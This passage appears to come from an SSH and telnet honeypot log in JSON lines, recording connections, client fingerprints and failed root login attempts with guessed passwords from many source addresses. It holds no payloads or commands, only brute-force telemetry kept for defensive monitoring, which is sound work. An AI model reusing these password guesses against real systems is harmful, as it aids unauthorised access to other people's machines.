-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:43:11.358661Z","src_ip":"38.93.206.2","session":"c2a6e290f6df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123qweqwe","message":"login attempt [root/123123qweqwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:43:11.515175Z","src_ip":"38.93.206.2","session":"c2a6e290f6df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39112,"dst_ip":"10.17.0.5","dst_port":23,"session":"296497235108","protocol":"telnet","message":"New connection: 192.119.13.58:39112 (10.17.0.5:23) [session: 296497235108]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:43:11.544223Z"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:43:12.568598Z","src_ip":"38.93.206.2","session":"c2a6e290f6df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.09544396400452,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:43:14.637096Z","src_ip":"192.119.13.58","session":"a3892269b63f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"106.251.244.178","src_port":60714,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3ffd506a122","protocol":"ssh","message":"New connection: 106.251.244.178:60714 (10.17.0.5:22) [session: d3ffd506a122]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:43:17.300924Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:43:17.306372Z","src_ip":"106.251.244.178","session":"d3ffd506a122","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:43:17.510411Z","src_ip":"106.251.244.178","session":"d3ffd506a122","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.040003299713135,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:43:18.316971Z","src_ip":"192.119.13.58","session":"7a9f27e684bf","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root@2017","message":"login attempt [root/Root@2017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:43:18.363113Z","src_ip":"106.251.244.178","session":"d3ffd506a122","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.507850646972656,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:43:18.583906Z","src_ip":"192.119.13.58","session":"3eeb38847d95","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:43:19.569506Z","src_ip":"106.251.244.178","session":"d3ffd506a122","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51888,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6977d426648","protocol":"telnet","message":"New connection: 192.119.13.58:51888 (10.17.0.5:23) [session: e6977d426648]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:43:20.976874Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47468,"dst_ip":"10.17.0.5","dst_port":23,"session":"530d7f2e6fbd","protocol":"telnet","message":"New connection: 192.119.13.58:47468 (10.17.0.5:23) [session: 530d7f2e6fbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:43:26.796550Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":51508,"dst_ip":"10.17.0.5","dst_port":22,"session":"61a0a34be228","protocol":"ssh","message":"New connection: 193.32.162.145:51508 (10.17.0.5:22) [session: 61a0a34be228]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:43:29.487949Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:43:29.493493Z","src_ip":"193.32.162.145","session":"61a0a34be228","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:43:29.609420Z","src_ip":"193.32.162.145","session":"61a0a34be228","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"1234","message":"login attempt [solana/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:43:29.926942Z","src_ip":"193.32.162.145","session":"61a0a34be228","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:43:31.030956Z","src_ip":"193.32.162.145","session":"61a0a34be228","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51780,"dst_ip":"10.17.0.5","dst_port":23,"session":"bec1af335752","protocol":"telnet","message":"New connection: 192.119.13.58:51780 (10.17.0.5:23) [session: bec1af335752]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:43:34.699846Z"}
{"eventid":"cowrie.session.closed","duration":39.12427306175232,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:43:36.151572Z","src_ip":"192.119.13.58","session":"4f7a3ef4a629","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"158.178.141.16","src_port":21004,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c5f824ac67e","protocol":"ssh","message":"New connection: 158.178.141.16:21004 (10.17.0.5:22) [session: 1c5f824ac67e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:43:37.523365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:43:37.527251Z","src_ip":"158.178.141.16","session":"1c5f824ac67e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:43:37.738177Z","src_ip":"158.178.141.16","session":"1c5f824ac67e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"titi123","message":"login attempt [root/titi123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:43:38.615277Z","src_ip":"158.178.141.16","session":"1c5f824ac67e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":53032,"dst_ip":"159.203.135.109","dst_port":22,"session":"1071ad66a5e8","protocol":"ssh","message":"New connection: 147.45.197.250:53032 (159.203.135.109:22) [session: 1071ad66a5e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:43:38.864651Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:43:38.873240Z","src_ip":"147.45.197.250","session":"1071ad66a5e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:43:38.962832Z","src_ip":"147.45.197.250","session":"1071ad66a5e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a12345678","message":"login attempt [root/a12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:43:39.231770Z","src_ip":"147.45.197.250","session":"1071ad66a5e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:43:39.828481Z","src_ip":"158.178.141.16","session":"1c5f824ac67e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:43:40.323234Z","src_ip":"147.45.197.250","session":"1071ad66a5e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47072,"dst_ip":"10.17.0.5","dst_port":23,"session":"6dfc1b0985ef","protocol":"telnet","message":"New connection: 192.119.13.58:47072 (10.17.0.5:23) [session: 6dfc1b0985ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:43:46.945037Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.175.218","src_port":55706,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca09c3f8021a","protocol":"ssh","message":"New connection: 43.134.175.218:55706 (10.17.0.5:22) [session: ca09c3f8021a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:43:49.675699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:43:49.679044Z","src_ip":"43.134.175.218","session":"ca09c3f8021a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:43:49.915951Z","src_ip":"43.134.175.218","session":"ca09c3f8021a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"d1g1t4l","message":"login attempt [root/d1g1t4l] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:43:50.898076Z","src_ip":"43.134.175.218","session":"ca09c3f8021a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.68.83.105","src_port":48404,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c9f38e3cd2e","protocol":"ssh","message":"New connection: 186.68.83.105:48404 (10.17.0.5:22) [session: 3c9f38e3cd2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:43:51.681237Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:43:51.688961Z","src_ip":"186.68.83.105","session":"3c9f38e3cd2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:43:51.777854Z","src_ip":"186.68.83.105","session":"3c9f38e3cd2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:43:52.140068Z","src_ip":"43.134.175.218","session":"ca09c3f8021a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aA123123","message":"login attempt [root/aA123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:43:52.166473Z","src_ip":"186.68.83.105","session":"3c9f38e3cd2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43592,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c2dcd7b28de","protocol":"telnet","message":"New connection: 192.119.13.58:43592 (10.17.0.5:23) [session: 4c2dcd7b28de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:43:52.728324Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:43:53.258499Z","src_ip":"186.68.83.105","session":"3c9f38e3cd2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46526,"dst_ip":"10.17.0.5","dst_port":23,"session":"27997d27b247","protocol":"telnet","message":"New connection: 192.119.13.58:46526 (10.17.0.5:23) [session: 27997d27b247]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:43:53.458995Z"}
{"eventid":"cowrie.session.closed","duration":34.107202768325806,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:43:55.083972Z","src_ip":"192.119.13.58","session":"e6977d426648","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.05661416053772,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:43:56.600720Z","src_ip":"192.119.13.58","session":"296497235108","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":42368,"dst_ip":"159.203.135.109","dst_port":22,"session":"bee6c35ab472","protocol":"ssh","message":"New connection: 103.77.242.62:42368 (159.203.135.109:22) [session: bee6c35ab472]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:43:57.828051Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:43:57.832633Z","src_ip":"103.77.242.62","session":"bee6c35ab472","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:43:58.074838Z","src_ip":"103.77.242.62","session":"bee6c35ab472","protocol":"ssh"}
